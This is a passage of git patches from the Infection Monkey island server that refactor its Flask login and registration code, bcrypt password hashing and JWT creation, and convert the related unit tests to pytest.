+52,15 @@ def post(self): else: return make_response({"error": "Invalid credentials"}, 401) + @staticmethod + def _get_credentials_from_request(request): + credentials = json.loads(request.data) + + username = credentials["username"] + password = credentials["password"] + + return (username, password) + @staticmethod def _authenticate(username, password): user = user_store.UserStore.username_table.get(username, None) From a8646fc0561960d90e7f41b9e3b77ba86ddd471a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 12:09:04 -0400 Subject: [PATCH 0356/1360] island: Give _authenticate() more descriptive name and remove comment --- monkey/monkey_island/cc/resources/auth/auth.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 0137b5b36ba..a6f3954242f 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -38,10 +38,9 @@ def post(self): "password": "my_password" } """ - (username, password) = Authenticate._get_credentials_from_request(request) - # If the user and password have been previously registered - if self._authenticate(username, password): + + if self._credentials_match_registered_user(username, password): access_token = flask_jwt_extended.create_access_token( identity=user_store.UserStore.username_table[username].id ) @@ -62,7 +61,7 @@ def _get_credentials_from_request(request): return (username, password) @staticmethod - def _authenticate(username, password): + def _credentials_match_registered_user(username, password): user = user_store.UserStore.username_table.get(username, None) if user and bcrypt.checkpw(password.encode("utf-8"), user.secret.encode("utf-8")): return True From c7d47fee9cdb3a1ec959ffd09ad1688506b49943 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 12:14:25 -0400 Subject: [PATCH 0357/1360] island: Extract method _create_access_token() from _get_credentials_from_request() --- monkey/monkey_island/cc/resources/auth/auth.py | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index a6f3954242f..d04b94da46f 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -41,12 +41,7 @@ def post(self): (username, password) = Authenticate._get_credentials_from_request(request) if self._credentials_match_registered_user(username, password): - access_token = flask_jwt_extended.create_access_token( - identity=user_store.UserStore.username_table[username].id - ) - logger.debug( - f"Created access token for user {username} that begins with {access_token[:4]}" - ) + access_token = Authenticate._create_access_token(username) return make_response({"access_token": access_token, "error": ""}, 200) else: return make_response({"error": "Invalid credentials"}, 401) @@ -68,6 +63,17 @@ def _credentials_match_registered_user(username, password): return False + @staticmethod + def _create_access_token(username): + access_token = flask_jwt_extended.create_access_token( + identity=user_store.UserStore.username_table[username].id + ) + logger.debug( + f"Created access token for user {username} that begins with {access_token[:4]}" + ) + + return access_token + # See https://flask-jwt-extended.readthedocs.io/en/stable/custom_decorators/ def jwt_required(fn): From 904e51a3652ed24e67b84da8176d85563ec8cb0e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 12:28:17 -0400 Subject: [PATCH 0358/1360] island: Replace private static functions in Authenticator with functions In python, private static methods serve no purpose. Python has first-class functions; let's use them. --- .../monkey_island/cc/resources/auth/auth.py | 46 +++++++++---------- 1 file changed, 22 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index d04b94da46f..4eedaa61f67 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -38,41 +38,39 @@ def post(self): "password": "my_password" } """ - (username, password) = Authenticate._get_credentials_from_request(request) + (username, password) = _get_credentials_from_request(request) - if self._credentials_match_registered_user(username, password): - access_token = Authenticate._create_access_token(username) + if _credentials_match_registered_user(username, password): + access_token = _create_access_token(username) return make_response({"access_token": access_token, "error": ""}, 200) else: return make_response({"error": "Invalid credentials"}, 401) - @staticmethod - def _get_credentials_from_request(request): - credentials = json.loads(request.data) - username = credentials["username"] - password = credentials["password"] +def _get_credentials_from_request(request): + credentials = json.loads(request.data) - return (username, password) + username = credentials["username"] + password = credentials["password"] - @staticmethod - def _credentials_match_registered_user(username, password): - user = user_store.UserStore.username_table.get(username, None) - if user and bcrypt.checkpw(password.encode("utf-8"), user.secret.encode("utf-8")): - return True + return (username, password) - return False - @staticmethod - def _create_access_token(username): - access_token = flask_jwt_extended.create_access_token( - identity=user_store.UserStore.username_table[username].id - ) - logger.debug( - f"Created access token for user {username} that begins with {access_token[:4]}" - ) +def _credentials_match_registered_user(username, password): + user = user_store.UserStore.username_table.get(username, None) + if user and bcrypt.checkpw(password.encode("utf-8"), user.secret.encode("utf-8")): + return True - return access_token + return False + + +def _create_access_token(username): + access_token = flask_jwt_extended.create_access_token( + identity=user_store.UserStore.username_table[username].id + ) + logger.debug(f"Created access token for user {username} that begins with {access_token[:4]}") + + return access_token # See https://flask-jwt-extended.readthedocs.io/en/stable/custom_decorators/ From 060c4b0c40fc76607781ffddb79fa73ab6fe13c6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 12:32:07 -0400 Subject: [PATCH 0359/1360] island: Minor formatting fix --- monkey/monkey_island/cc/resources/auth/auth.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 4eedaa61f67..5ffa4516c89 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -58,6 +58,7 @@ def _get_credentials_from_request(request): def _credentials_match_registered_user(username, password): user = user_store.UserStore.username_table.get(username, None) + if user and bcrypt.checkpw(password.encode("utf-8"), user.secret.encode("utf-8")): return True From 502bc3b296ccb9356cd77c2b738315be2ef579d7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 14:24:49 -0400 Subject: [PATCH 0360/1360] island: Enable standard mode with bcrypted passwords --- monkey/monkey_island/cc/environment/standard.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py index 35ca84a3403..7cca21c8715 100644 --- a/monkey/monkey_island/cc/environment/standard.py +++ b/monkey/monkey_island/cc/environment/standard.py @@ -1,3 +1,5 @@ +import bcrypt + from monkey_island.cc.environment import Environment from monkey_island.cc.resources.auth.auth_user import User @@ -7,11 +9,10 @@ class StandardEnvironment(Environment): _credentials_required = False - # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' - NO_AUTH_CREDS = ( - "55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" - "8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557" - ) + NO_AUTH_USER = "1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()" + NO_AUTH_SECRET = bcrypt.hashpw( + NO_AUTH_USER.encode("utf-8"), b"$2b$12$frH7uEwV3jkDNGgReW6j2u" + ).decode() def get_auth_users(self): - return [User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS)] + return [User(1, StandardEnvironment.NO_AUTH_USER, StandardEnvironment.NO_AUTH_SECRET)] From f28cd5305c852cfd6f31cdbb62363cac2979f975 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 30 Apr 2021 15:14:44 +0300 Subject: [PATCH 0361/1360] Refactored test_user_creds.py to pytest from unittests --- .../cc/environment/test_user_creds.py | 46 ++++++++----------- 1 file changed, 18 insertions(+), 28 deletions(-) diff --git a/monkey/tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/monkey_island/cc/environment/test_user_creds.py index 93da16e24ef..f295f245a1a 100644 --- a/monkey/tests/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/tests/monkey_island/cc/environment/test_user_creds.py @@ -1,37 +1,27 @@ -from unittest import TestCase - from monkey_island.cc.environment.user_creds import UserCreds -class TestUserCreds(TestCase): - def test_to_dict(self): - user_creds = UserCreds() - self.assertDictEqual(user_creds.to_dict(), {}) +def test_to_dict_empty_creds(): + user_creds = UserCreds() + assert user_creds.to_dict() == {} - user_creds = UserCreds(username="Test") - self.assertDictEqual(user_creds.to_dict(), {"user": "Test"}) - user_creds = UserCreds(password_hash="abc1231234") - self.assertDictEqual(user_creds.to_dict(), {"password_hash": "abc1231234"}) +def test_to_dict_full_creds(): + user_creds = UserCreds(username="Test", password_hash="abc1231234") + assert user_creds.to_dict() == {"user": "Test", "password_hash": "abc1231234"} - user_creds = UserCreds(username="Test", password_hash="abc1231234") - self.assertDictEqual(user_creds.to_dict(), {"user": "Test", "password_hash": "abc1231234"}) - def test_to_auth_user(self): - user_creds = UserCreds(username="Test", password_hash="abc1231234") - auth_user = user_creds.to_auth_user() - self.assertEqual(auth_user.id, 1) - self.assertEqual(auth_user.username, "Test") - self.assertEqual(auth_user.secret, "abc1231234") +def test_to_auth_user_full_credentials(): + user_creds = UserCreds(username="Test", password_hash="abc1231234") + auth_user = user_creds.to_auth_user() + assert auth_user.id == 1 + assert auth_user.username == "Test" + assert auth_user.secret == "abc1231234" - user_creds = UserCreds(username="Test") - auth_user = user_creds.to_auth_user() - self.assertEqual(auth_user.id, 1) - self.assertEqual(auth_user.username, "Test") - self.assertEqual(auth_user.secret, "") - user_creds = UserCreds(password_hash="abc1231234") - auth_user = user_creds.to_auth_user() - self.assertEqual(auth_user.id, 1) - self.assertEqual(auth_user.username, "") - self.assertEqual(auth_user.secret, "abc1231234") +def test_to_auth_user_username_only(): + user_creds = UserCreds(username="Test") + auth_user = user_creds.to_auth_user() + assert auth_user.id == 1 + assert auth_user.username == "Test" + assert auth_user.secret == "" From 1be07a4828d3f4a47f7f6a92888bc74e7d2c8872 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 14:43:11 -0400 Subject: [PATCH 0362/1360] monkey: Rename `get_from...()` methods in UserCreds to be more readable --- monkey/monkey_island/cc/environment/environment_config.py | 2 +- monkey/monkey_island/cc/environment/user_creds.py | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 183d1093270..65c6e57b8e4 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -38,7 +38,7 @@ def _load_from_json(self, config_json: str) -> EnvironmentConfig: self._load_from_dict(data) def _load_from_dict(self, dict_data: Dict): - user_creds = UserCreds.get_from_dict_server_config(dict_data) + user_creds = UserCreds.get_from_server_config_dict(dict_data) aws = dict_data["aws"] if "aws" in dict_data else None data_dir = dict_data["data_dir"] if "data_dir" in dict_data else DEFAULT_DATA_DIR diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index 38508331198..dbd7b74224c 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -28,7 +28,7 @@ def to_auth_user(self) -> User: return User(1, self.username, self.password_hash) @staticmethod - def get_from_dict_new_registration(data_dict: Dict) -> UserCreds: + def get_from_new_registration_dict(data_dict: Dict) -> UserCreds: creds = UserCreds() if "user" in data_dict: creds.username = data_dict["user"] @@ -39,7 +39,7 @@ def get_from_dict_new_registration(data_dict: Dict) -> UserCreds: return creds @staticmethod - def get_from_dict_server_config(data_dict: Dict) -> UserCreds: + def get_from_server_config_dict(data_dict: Dict) -> UserCreds: creds = UserCreds() if "user" in data_dict: creds.username = data_dict["user"] @@ -50,4 +50,4 @@ def get_from_dict_server_config(data_dict: Dict) -> UserCreds: @staticmethod def get_from_json(json_data: bytes) -> UserCreds: cred_dict = json.loads(json_data) - return UserCreds.get_from_dict_new_registration(cred_dict) + return UserCreds.get_from_new_registration_dict(cred_dict) From 5fa08f04472f6a2dc07339d875545a69ec78971a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 15:14:41 -0400 Subject: [PATCH 0363/1360] island: Add UserCreds.from_cleartext() --- monkey/monkey_island/cc/environment/user_creds.py | 6 ++++++ .../monkey_island/cc/environment/test_user_creds.py | 11 +++++++++++ 2 files changed, 17 insertions(+) diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index dbd7b74224c..49851167523 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -27,6 +27,12 @@ def to_dict(self) -> Dict: def to_auth_user(self) -> User: return User(1, self.username, self.password_hash) + @classmethod + def from_cleartext(cls, username, cleartext_password): + password_hash = bcrypt.hashpw(cleartext_password.encode("utf-8"), bcrypt.gensalt()).decode() + + return cls(username, password_hash) + @staticmethod def get_from_new_registration_dict(data_dict: Dict) -> UserCreds: creds = UserCreds() diff --git a/monkey/tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/monkey_island/cc/environment/test_user_creds.py index f295f245a1a..359bc3741c4 100644 --- a/monkey/tests/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/tests/monkey_island/cc/environment/test_user_creds.py @@ -1,5 +1,9 @@ +import bcrypt + from monkey_island.cc.environment.user_creds import UserCreds +TEST_SALT = b"$2b$12$JA7GdT1iyfIsquF2cTZv2." + def test_to_dict_empty_creds(): user_creds = UserCreds() @@ -25,3 +29,10 @@ def test_to_auth_user_username_only(): assert auth_user.id == 1 assert auth_user.username == "Test" assert auth_user.secret == "" + + +def test_get_from_cleartext(monkeypatch): + monkeypatch.setattr(bcrypt, "gensalt", lambda: TEST_SALT) + + creds = UserCreds.from_cleartext("Test", "Test_Password") + assert creds.password_hash == "$2b$12$JA7GdT1iyfIsquF2cTZv2.NdGFuYbX1WGfQAOyHlpEsgDTNGZ0TXG" From 4b3b7af3d20eedeb6ae363487067d92afa302dc5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 15:17:36 -0400 Subject: [PATCH 0364/1360] island: Remove coupling between EnvironmentConfig and UserCreds --- .../monkey_island/cc/environment/environment_config.py | 10 ++++++++-- monkey/monkey_island/cc/environment/user_creds.py | 9 --------- 2 files changed, 8 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 65c6e57b8e4..1f9602d227e 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -38,13 +38,12 @@ def _load_from_json(self, config_json: str) -> EnvironmentConfig: self._load_from_dict(data) def _load_from_dict(self, dict_data: Dict): - user_creds = UserCreds.get_from_server_config_dict(dict_data) aws = dict_data["aws"] if "aws" in dict_data else None data_dir = dict_data["data_dir"] if "data_dir" in dict_data else DEFAULT_DATA_DIR self.server_config = dict_data["server_config"] self.deployment = dict_data["deployment"] - self.user_creds = user_creds + self.user_creds = _get_user_credentials_from_config(dict_data) self.aws = aws self.data_dir = data_dir @@ -75,3 +74,10 @@ def add_user(self, credentials: UserCreds): def get_users(self) -> List[User]: auth_user = self.user_creds.to_auth_user() return [auth_user] if auth_user else [] + + +def _get_user_credentials_from_config(dict_data: Dict): + username = dict_data.get("user", "") + password_hash = dict_data.get("password_hash", "") + + return UserCreds(username, password_hash) diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index 49851167523..6cd483f70c2 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -44,15 +44,6 @@ def get_from_new_registration_dict(data_dict: Dict) -> UserCreds: ).decode() return creds - @staticmethod - def get_from_server_config_dict(data_dict: Dict) -> UserCreds: - creds = UserCreds() - if "user" in data_dict: - creds.username = data_dict["user"] - if "password_hash" in data_dict: - creds.password_hash = data_dict["password_hash"] - return creds - @staticmethod def get_from_json(json_data: bytes) -> UserCreds: cred_dict = json.loads(json_data) From 1aed5f37d1bc9840da410b06cf60ba1e8c559420 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 15:27:52 -0400 Subject: [PATCH 0365/1360] monkey: Remove coupling between Registration and UserCreds --- .../monkey_island/cc/environment/user_creds.py | 17 ----------------- .../cc/resources/auth/registration.py | 14 +++++++++++++- 2 files changed, 13 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index 6cd483f70c2..a86472cd97f 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -1,6 +1,5 @@ from __future__ import annotations -import json from typing import Dict import bcrypt @@ -32,19 +31,3 @@ def from_cleartext(cls, username, cleartext_password): password_hash = bcrypt.hashpw(cleartext_password.encode("utf-8"), bcrypt.gensalt()).decode() return cls(username, password_hash) - - @staticmethod - def get_from_new_registration_dict(data_dict: Dict) -> UserCreds: - creds = UserCreds() - if "user" in data_dict: - creds.username = data_dict["user"] - if "password" in data_dict: - creds.password_hash = bcrypt.hashpw( - data_dict["password"].encode("utf-8"), bcrypt.gensalt() - ).decode() - return creds - - @staticmethod - def get_from_json(json_data: bytes) -> UserCreds: - cred_dict = json.loads(json_data) - return UserCreds.get_from_new_registration_dict(cred_dict) diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index e5ca99232e1..8803a7d12b6 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -1,3 +1,5 @@ +import json + import flask_restful from flask import make_response, request @@ -11,9 +13,19 @@ def get(self): return {"needs_registration": env_singleton.env.needs_registration()} def post(self): - credentials = UserCreds.get_from_json(request.data) + credentials = _get_user_credentials_from_request(request) + try: env_singleton.env.try_add_user(credentials) return make_response({"error": ""}, 200) except (InvalidRegistrationCredentialsError, RegistrationNotNeededError) as e: return make_response({"error": str(e)}, 400) + + +def _get_user_credentials_from_request(request): + cred_dict = json.loads(request.data) + + username = cred_dict.get("user", "") + password = cred_dict.get("password", "") + + return UserCreds.from_cleartext(username, password) From d56cb5cd754e4bb4a4997be2e124c28af39b115b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 16:48:53 -0400 Subject: [PATCH 0366/1360] island: Simplify UserCreds constructor by removing defaults The default values were only really used by the test code. We can simplify the Usercreds's interface and test code by removing functionality (read: complication) we don't really need. --- monkey/monkey_island/cc/environment/user_creds.py | 2 +- .../monkey_island/cc/environment/test_environment.py | 8 +++++--- .../monkey_island/cc/environment/test_user_creds.py | 10 +--------- 3 files changed, 7 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index a86472cd97f..f1989a6a46e 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -8,7 +8,7 @@ class UserCreds: - def __init__(self, username="", password_hash=""): + def __init__(self, username, password_hash): self.username = username self.password_hash = password_hash diff --git a/monkey/tests/monkey_island/cc/environment/test_environment.py b/monkey/tests/monkey_island/cc/environment/test_environment.py index 0c98d1ccfad..8d4c4147ed6 100644 --- a/monkey/tests/monkey_island/cc/environment/test_environment.py +++ b/monkey/tests/monkey_island/cc/environment/test_environment.py @@ -20,6 +20,8 @@ STANDARD_WITH_CREDENTIALS = None STANDARD_ENV = None +EMPTY_CREDS = UserCreds("", "") + # This fixture is a dirty hack that can be removed once these tests are converted from # unittest to pytest. Instead, the appropriate fixtures from conftest.py can be used. @@ -67,7 +69,7 @@ def get_server_config_file_path_test_version(): class TestEnvironment(TestCase): class EnvironmentCredentialsNotRequired(Environment): def __init__(self): - config = StubEnvironmentConfig("test", "test", UserCreds()) + config = StubEnvironmentConfig("test", "test", EMPTY_CREDS) super().__init__(config) _credentials_required = False @@ -77,7 +79,7 @@ def get_auth_users(self): class EnvironmentCredentialsRequired(Environment): def __init__(self): - config = StubEnvironmentConfig("test", "test", UserCreds()) + config = StubEnvironmentConfig("test", "test", EMPTY_CREDS) super().__init__(config) _credentials_required = True @@ -101,7 +103,7 @@ def test_try_add_user(self): credentials = UserCreds(username="test", password_hash="1231234") env.try_add_user(credentials) - credentials = UserCreds(username="test") + credentials = UserCreds(username="test", password_hash="") with self.assertRaises(InvalidRegistrationCredentialsError): env.try_add_user(credentials) diff --git a/monkey/tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/monkey_island/cc/environment/test_user_creds.py index 359bc3741c4..87286fc601e 100644 --- a/monkey/tests/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/tests/monkey_island/cc/environment/test_user_creds.py @@ -6,7 +6,7 @@ def test_to_dict_empty_creds(): - user_creds = UserCreds() + user_creds = UserCreds("", "") assert user_creds.to_dict() == {} @@ -23,14 +23,6 @@ def test_to_auth_user_full_credentials(): assert auth_user.secret == "abc1231234" -def test_to_auth_user_username_only(): - user_creds = UserCreds(username="Test") - auth_user = user_creds.to_auth_user() - assert auth_user.id == 1 - assert auth_user.username == "Test" - assert auth_user.secret == "" - - def test_get_from_cleartext(monkeypatch): monkeypatch.setattr(bcrypt, "gensalt", lambda: TEST_SALT) From e223126c1611887d8fc412730a07ddffbb7496f5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 17:14:54 -0400 Subject: [PATCH 0367/1360] island: Add tests for UserCreds.__bool__() --- .../cc/environment/test_user_creds.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/monkey/tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/monkey_island/cc/environment/test_user_creds.py index 87286fc601e..16fa9ee615a 100644 --- a/monkey/tests/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/tests/monkey_island/cc/environment/test_user_creds.py @@ -5,6 +5,22 @@ TEST_SALT = b"$2b$12$JA7GdT1iyfIsquF2cTZv2." +def test_bool_true(): + assert UserCreds("Test", "abc1231234") + + +def test_bool_false_empty_password_hash(): + assert not UserCreds("Test", "") + + +def test_bool_false_empty_user(): + assert not UserCreds("", "abc1231234") + + +def test_bool_false_empty_user_and_password_hash(): + assert not UserCreds("", "") + + def test_to_dict_empty_creds(): user_creds = UserCreds("", "") assert user_creds.to_dict() == {} From c4c0b7217d0a7b27724a735481930be28b73acb4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 17:17:54 -0400 Subject: [PATCH 0368/1360] island: Add test for members of UserCreds --- .../tests/monkey_island/cc/environment/test_user_creds.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/monkey_island/cc/environment/test_user_creds.py index 16fa9ee615a..0ea6a646444 100644 --- a/monkey/tests/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/tests/monkey_island/cc/environment/test_user_creds.py @@ -44,3 +44,11 @@ def test_get_from_cleartext(monkeypatch): creds = UserCreds.from_cleartext("Test", "Test_Password") assert creds.password_hash == "$2b$12$JA7GdT1iyfIsquF2cTZv2.NdGFuYbX1WGfQAOyHlpEsgDTNGZ0TXG" + + +def test_member_values(monkeypatch): + monkeypatch.setattr(bcrypt, "gensalt", lambda: TEST_SALT) + + creds = UserCreds("Test", "abc1231234") + assert creds.username == "Test" + assert creds.password_hash == "abc1231234" From e4dec5501ec64b119fc84513a84cfc2ca903b7f5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 17:20:03 -0400 Subject: [PATCH 0369/1360] island: Add constants for user and hash to UserCreds tests --- .../cc/environment/test_user_creds.py | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/monkey/tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/monkey_island/cc/environment/test_user_creds.py index 0ea6a646444..3d1f2ea34b1 100644 --- a/monkey/tests/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/tests/monkey_island/cc/environment/test_user_creds.py @@ -2,19 +2,21 @@ from monkey_island.cc.environment.user_creds import UserCreds +TEST_USER = "Test" +TEST_HASH = "abc1231234" TEST_SALT = b"$2b$12$JA7GdT1iyfIsquF2cTZv2." def test_bool_true(): - assert UserCreds("Test", "abc1231234") + assert UserCreds(TEST_USER, TEST_HASH) def test_bool_false_empty_password_hash(): - assert not UserCreds("Test", "") + assert not UserCreds(TEST_USER, "") def test_bool_false_empty_user(): - assert not UserCreds("", "abc1231234") + assert not UserCreds("", TEST_HASH) def test_bool_false_empty_user_and_password_hash(): @@ -27,28 +29,28 @@ def test_to_dict_empty_creds(): def test_to_dict_full_creds(): - user_creds = UserCreds(username="Test", password_hash="abc1231234") - assert user_creds.to_dict() == {"user": "Test", "password_hash": "abc1231234"} + user_creds = UserCreds(username=TEST_USER, password_hash=TEST_HASH) + assert user_creds.to_dict() == {"user": TEST_USER, "password_hash": TEST_HASH} def test_to_auth_user_full_credentials(): - user_creds = UserCreds(username="Test", password_hash="abc1231234") + user_creds = UserCreds(username=TEST_USER, password_hash=TEST_HASH) auth_user = user_creds.to_auth_user() assert auth_user.id == 1 - assert auth_user.username == "Test" - assert auth_user.secret == "abc1231234" + assert auth_user.username == TEST_USER + assert auth_user.secret == TEST_HASH def test_get_from_cleartext(monkeypatch): monkeypatch.setattr(bcrypt, "gensalt", lambda: TEST_SALT) - creds = UserCreds.from_cleartext("Test", "Test_Password") + creds = UserCreds.from_cleartext(TEST_USER, "Test_Password") assert creds.password_hash == "$2b$12$JA7GdT1iyfIsquF2cTZv2.NdGFuYbX1WGfQAOyHlpEsgDTNGZ0TXG" def test_member_values(monkeypatch): monkeypatch.setattr(bcrypt, "gensalt", lambda: TEST_SALT) - creds = UserCreds("Test", "abc1231234") - assert creds.username == "Test" - assert creds.password_hash == "abc1231234" + creds = UserCreds(TEST_USER, TEST_HASH) + assert creds.username == TEST_USER + assert creds.password_hash == TEST_HASH From f73b048169078ed5bf3ce8b45eecbfeae0ca8be3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 17:21:05 -0400 Subject: [PATCH 0370/1360] island: Remove parameter names from UserCreds() init in tests --- monkey/tests/monkey_island/cc/environment/test_user_creds.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/monkey_island/cc/environment/test_user_creds.py index 3d1f2ea34b1..60bb2afa237 100644 --- a/monkey/tests/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/tests/monkey_island/cc/environment/test_user_creds.py @@ -29,12 +29,12 @@ def test_to_dict_empty_creds(): def test_to_dict_full_creds(): - user_creds = UserCreds(username=TEST_USER, password_hash=TEST_HASH) + user_creds = UserCreds(TEST_USER, TEST_HASH) assert user_creds.to_dict() == {"user": TEST_USER, "password_hash": TEST_HASH} def test_to_auth_user_full_credentials(): - user_creds = UserCreds(username=TEST_USER, password_hash=TEST_HASH) + user_creds = UserCreds(TEST_USER, TEST_HASH) auth_user = user_creds.to_auth_user() assert auth_user.id == 1 assert auth_user.username == TEST_USER From 0f49a2c96ae8d6b6b092c7d057e8a275a7d3de21 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 18:53:43 -0400 Subject: [PATCH 0371/1360] island: Remove UserCreds.from_cleartext() --- monkey/monkey_island/cc/environment/user_creds.py | 8 -------- .../monkey_island/cc/resources/auth/registration.py | 4 +++- .../monkey_island/cc/environment/test_user_creds.py | 11 ----------- 3 files changed, 3 insertions(+), 20 deletions(-) diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index f1989a6a46e..aba349f2dfe 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -2,8 +2,6 @@ from typing import Dict -import bcrypt - from monkey_island.cc.resources.auth.auth_user import User @@ -25,9 +23,3 @@ def to_dict(self) -> Dict: def to_auth_user(self) -> User: return User(1, self.username, self.password_hash) - - @classmethod - def from_cleartext(cls, username, cleartext_password): - password_hash = bcrypt.hashpw(cleartext_password.encode("utf-8"), bcrypt.gensalt()).decode() - - return cls(username, password_hash) diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index 8803a7d12b6..8c7ca5054c1 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -1,5 +1,6 @@ import json +import bcrypt import flask_restful from flask import make_response, request @@ -27,5 +28,6 @@ def _get_user_credentials_from_request(request): username = cred_dict.get("user", "") password = cred_dict.get("password", "") + password_hash = bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode() - return UserCreds.from_cleartext(username, password) + return UserCreds(username, password_hash) diff --git a/monkey/tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/monkey_island/cc/environment/test_user_creds.py index 60bb2afa237..802c1341626 100644 --- a/monkey/tests/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/tests/monkey_island/cc/environment/test_user_creds.py @@ -1,5 +1,3 @@ -import bcrypt - from monkey_island.cc.environment.user_creds import UserCreds TEST_USER = "Test" @@ -41,16 +39,7 @@ def test_to_auth_user_full_credentials(): assert auth_user.secret == TEST_HASH -def test_get_from_cleartext(monkeypatch): - monkeypatch.setattr(bcrypt, "gensalt", lambda: TEST_SALT) - - creds = UserCreds.from_cleartext(TEST_USER, "Test_Password") - 